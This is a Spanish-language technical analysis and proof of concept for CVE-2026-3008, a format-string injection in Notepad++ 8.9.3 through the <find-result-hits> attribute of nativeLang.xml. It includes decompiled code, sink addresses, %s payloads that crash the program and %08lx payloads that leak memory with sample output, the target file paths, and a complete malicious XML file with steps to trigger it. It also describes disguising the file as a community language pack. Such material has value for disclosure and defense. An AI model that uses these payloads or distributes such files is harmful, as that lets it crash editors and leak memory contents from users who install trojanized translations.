
Análisis técnico y prueba de concepto para CVE-2026-3008, una inyección de cadena de formato en Notepad++ 8.9.3 a través de nativeLang.xml, que permite denegación de servicio y divulgación de información.
Cuando una operación de búsqueda produce resultados, sub_1400916C0 formatea una etiqueta de recuento de coincidencias recuperando una cadena localizada de nativeLang.xml y pasándola directamente como cadena de formato a wsprintfW:
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196)); // get localized string
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
v38 = v51[0]; // SSO: heap pointer
wsprintfW((LPWSTR)(a1 + 0xC8), v38); // v38 is the format string
La cadena proviene del atributo <find-result-hits> en nativeLang.xml sin validación en ningún punto del flujo de datos:
nativeLang.xml
→ TinyXML parser (reads XML attribute, no content validation)
→ NativeLangSpeaker (UTF-8 → UTF-16 conversion, no validation)
→ sub_140099E60 ($INT_REPLACE$ substitution — format specifiers survive)
→ wsprintfW(buf, v38) (v38 used as format string argument, not data)
wsprintfW se llama con solo dos argumentos — sin argumentos de datos variádicos. Cualquier especificador de formato en v38 lee valores de las ranuras de argumentos de la convención de llamada x64 (R8, R9, pila), que contienen basura de registro sobrante.
| Campo | Valor |
|---|---|
| Función | sub_1400916C0 (inicializador del panel de resultados de búsqueda) |
| Dirección del sink | 0x140091E6D |
| Desencadenante | Cualquier búsqueda que produzca resultados (Buscar todo, Buscar en archivos, Marcar todo, Reemplazar todo) |
sub_1400916C0 se llama desde cuatro sitios en el WndProc de FindResults (sub_140089BF0):
| Dirección | Desencadenante |
|---|---|
0x14008B63B | Buscar en archivos |
0x14008B72D | Buscar todo en el documento actual / todos los documentos |
0x14008B97E | Reemplazar todo |
0x14008B9FE | Marcar todo |
%s (DoS)<find-result-hits value="%s%s%s%s%s%s%s%s"/>
Cada %s interpreta un valor de registro o pila basura como un puntero WCHAR*. La primera dirección no válida desencadena una violación de acceso inmediata (STATUS_ACCESS_VIOLATION, 0xC0000005). Notepad++ se bloquea en cada búsqueda posterior hasta que se elimina el archivo malicioso — DoS fiable de un solo disparo.
%08lx<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>
El contenido de la pila y los registros se lee como valores DWORD y se formatea en hexadecimal, visible en la pestaña del panel de resultados de búsqueda. Salida observada en una prueba en vivo:
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0
Valores como 5852bb18 y 7b1052e0 son fragmentos de punteros de 64 bits truncados.
wsprintfW (user32.dll) no admite %n — no existe una primitiva de escritura-donde-qué. Su límite de salida de 1024 caracteres codificado de forma fija coincide exactamente con el tamaño del búfer de destino, lo que descarta un desbordamiento de búfer en el montón. La vulnerabilidad se confirma como DoS + divulgación de información. No se puede lograr la ejecución de código solo mediante esta cadena de formato.
nativeLang.xml no existe por defecto — las instalaciones en inglés no se ven afectadas. Cuando un usuario selecciona un idioma distinto del inglés mediante Configuración → Preferencias → General → Localización, Notepad++ escribe el archivo correspondiente en:
| Edición | Ruta |
|---|---|
| Instalador | %APPDATA%\Notepad++\nativeLang.xml |
| Portátil | <npp_directory>\nativeLang.xml |
De los 94 archivos de localización incluidos, 43 contienen el elemento <find-result-hits>. Los usuarios de esos idiomas son vulnerables si su nativeLang.xml es manipulado — por ejemplo, mediante un paquete de idioma comunitario malicioso distribuido a través de foros o sitios de descarga. El atacante puede incluir traducciones legítimas para todas las demás cadenas, haciendo que el archivo parezca normal.
Coloque el siguiente archivo en <npp_directory>\nativeLang.xml (portátil) o %APPDATA%\Notepad++\nativeLang.xml (instalador), luego abra Notepad++ y realice cualquier búsqueda que produzca resultados (Ctrl+F → Buscar todo en el documento actual).
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
<Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
<Menu><Main></Main></Menu>
<MiscStrings>
<find-result-hits value="%s%s%s%s%s%s%s%s"/>
</MiscStrings>
</Native-Langue>
</NotepadPlus>
Resultado: Notepad++ se bloquea inmediatamente con una violación de acceso en wsprintfW.
Hay variantes adicionales de payload en el directorio payloads/.